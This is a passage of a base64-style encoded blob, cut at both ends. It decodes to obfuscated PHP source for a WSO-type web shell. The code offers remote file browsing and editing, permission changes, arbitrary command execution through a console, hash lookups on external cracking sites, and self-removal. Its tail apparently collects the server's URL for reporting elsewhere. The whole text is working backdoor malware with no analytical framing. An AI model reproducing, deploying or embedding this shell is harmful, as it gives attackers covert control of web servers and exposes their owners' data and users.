FsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9mMnJtPiI7DQoNCglmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQoJCTRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCgkJCSRwMXRoLj0nLyc7DQoJCSRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQk0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KCQkJZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCgkJCQk0ZihANHNfZDRyKCQ0dDVtKSl7DQoJCQkJCTRmKCRwMXRoIT0kNHQ1bSkNCgkJCQkJCXdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmKDVtcHR5KCRfUE9TVFsncGEnXSkgfHwgQHN0cnAycyhmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksICRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCgkJCQkJCTVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiLFwiXCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCTRmKEAkX1BPU1RbJ3BvJ10pDQoJCXdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOw0KCTVjaDIgIjwvZDR2Pjxicj48aDY+UzUxcmNoIGYyciBoMXNoOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+DQoJCQk8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0naDFzaCcgc3R5bDU9J3c0ZHRoOmEwMHB4Oyc+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0nMWN0JyB2MWwzNT0nZjRuZCcvPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy5yMycgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcucjMvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGkucjVkbjI0ejUuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vbWRpLnI1ZG4yNHo1LmMybS8/cT0nK2QyYzNtNW50LmhmLmgxc2gudjFsMzUrJyZzPW1kaSc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nY3IxY2tmMnIubTUnIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9jcjFja2Yyci5tNS80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQk8L2Yycm0+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQoJCTVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQoJCXdzMkYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCgk1Y2gyICc8c3Axbj5DaDFuZzUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCgk0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQoJCSRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCgk0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCgkJJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQoJNWNoMiAnPGJyPjxicj4nOw0KCXN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCgkJYzFzNSAndjQ1dyc6DQoJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC9wcjU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNGdobDRnaHQnOg0KCQkJNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KCQkJCTVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCgkJCQkkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQoJCQkJNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCgkJCX0NCgkJCWJyNTFrOw0KCQljMXM1ICdjaG0yZCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHA1cm1zID0gMDsNCgkJCQlmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KCQkJCQkkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KCQkJCTRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy5jaG0yZC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNobTJkIHYxbDM1PSInLnMzYnN0cihzcHI0bnRmKCclMicsIGY0bDVwNXJtcygkX1BPU1RbJ3A2J10pKSwtdSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnNWQ0dCc6DQoJCQk0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCQk1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pOw0KCQkJCSRfUE9TVFsncG8nXSA9IHMzYnN0cigkX1BPU1RbJ3BvJ10sNik7DQoJCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOw0KCQkJCTRmKCRmcCkgew0KCQkJCQlAZndyNHQ1KCRmcCwkX1BPU1RbJ3BvJ10pOw0KCQkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJCTVjaDIgJ1MxdjVkITxicj48c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD4nOw0KCQkJCQlAdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KTsNCgkJCQl9DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdyNW4xbTUnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCTRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCgkJCQk1bHM1DQoJCQkJCWQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy50MjNjaC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PXQyM2NoIHYxbDM1PSInLmQxdDUoIlktbS1kIEg6NDpzIiwgQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgew0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCcsIHRyMzUpOw0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0JywgMCk7DQoNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsNCgkJJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCgkJNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKQl7DQoJCQk0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCgkJCQk1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQk1Y2gyICJkLmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCgkJNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQoJCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIDApOw0KCXdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQoJdjFyIG4gPSAodzRuZDJ3LkV2NW50KSA/IDUud2g0Y2ggOiA1Lms1eUMyZDU7DQoJNGYobiA9PSBvOCkgew0KCQljM3ItLTsNCgkJNGYoYzNyPj0wKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3IrKzsNCgl9IDVsczUgNGYobiA9PSB1MCkgew0KCQljM3IrKzsNCgkJNGYoYzNyIDwgY21kcy5sNW5ndGgpDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzci0tOw0KCX0NCn0NCmYzbmN0NDJuIDFkZChjbWQpIHsNCgljbWRzLnAycCgpOw0KCWNtZHMucDNzaChjbWQpOw0KCWNtZHMucDNzaCgnJyk7DQoJYzNyID0gY21kcy5sNW5ndGgtNjsNCn0NCjwvc2NyNHB0PiI7DQoJNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KCWYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgew0KCQk0ZigkdiA9PSAnJykgew0KCQkJNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCR2KS4nIj4nLiRuLic8LzJwdDQybj4nOw0KCX0NCgkNCgk1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsNCgl9DQoJNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHQ0bTUoKSAtIG9lMDApOw0KCWQ0NSgnYnk1IScpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KDQoJNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KCQk0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZDQ1KCdTaDVsbCByNW0ydjVkJyk7DQoJCTVsczUNCgkJCTVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5yNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KICAgICAkeDYwPSJceGVkMTRcNml1IjskeDBiPSRfU0VSVkVSWyJceGlvXHh1aVJWRVw2YWFfXHh1NUFNXHh1aSJdLiRfU0VSVkVSWyJcNmFvXDYwb1x4aWFJXHhpMFx4aXVfXDY2ZVw2MDZcNjZpRSJdOyR4MGM9Ilw2dTZyXDZlYTFcNjc2XDB1MCIuJHgwYjskeDBkPTFycjF5KCJcNnVvXHhlNiIsIlx4ZWNceGU5IiwiXDZ1ZVx4NzdcNmVhXDZpNlx4N3VceGVpIiwiXDYwMCIsInZceGVpXHhhNSIpOyR4MDU9JHgwZFthX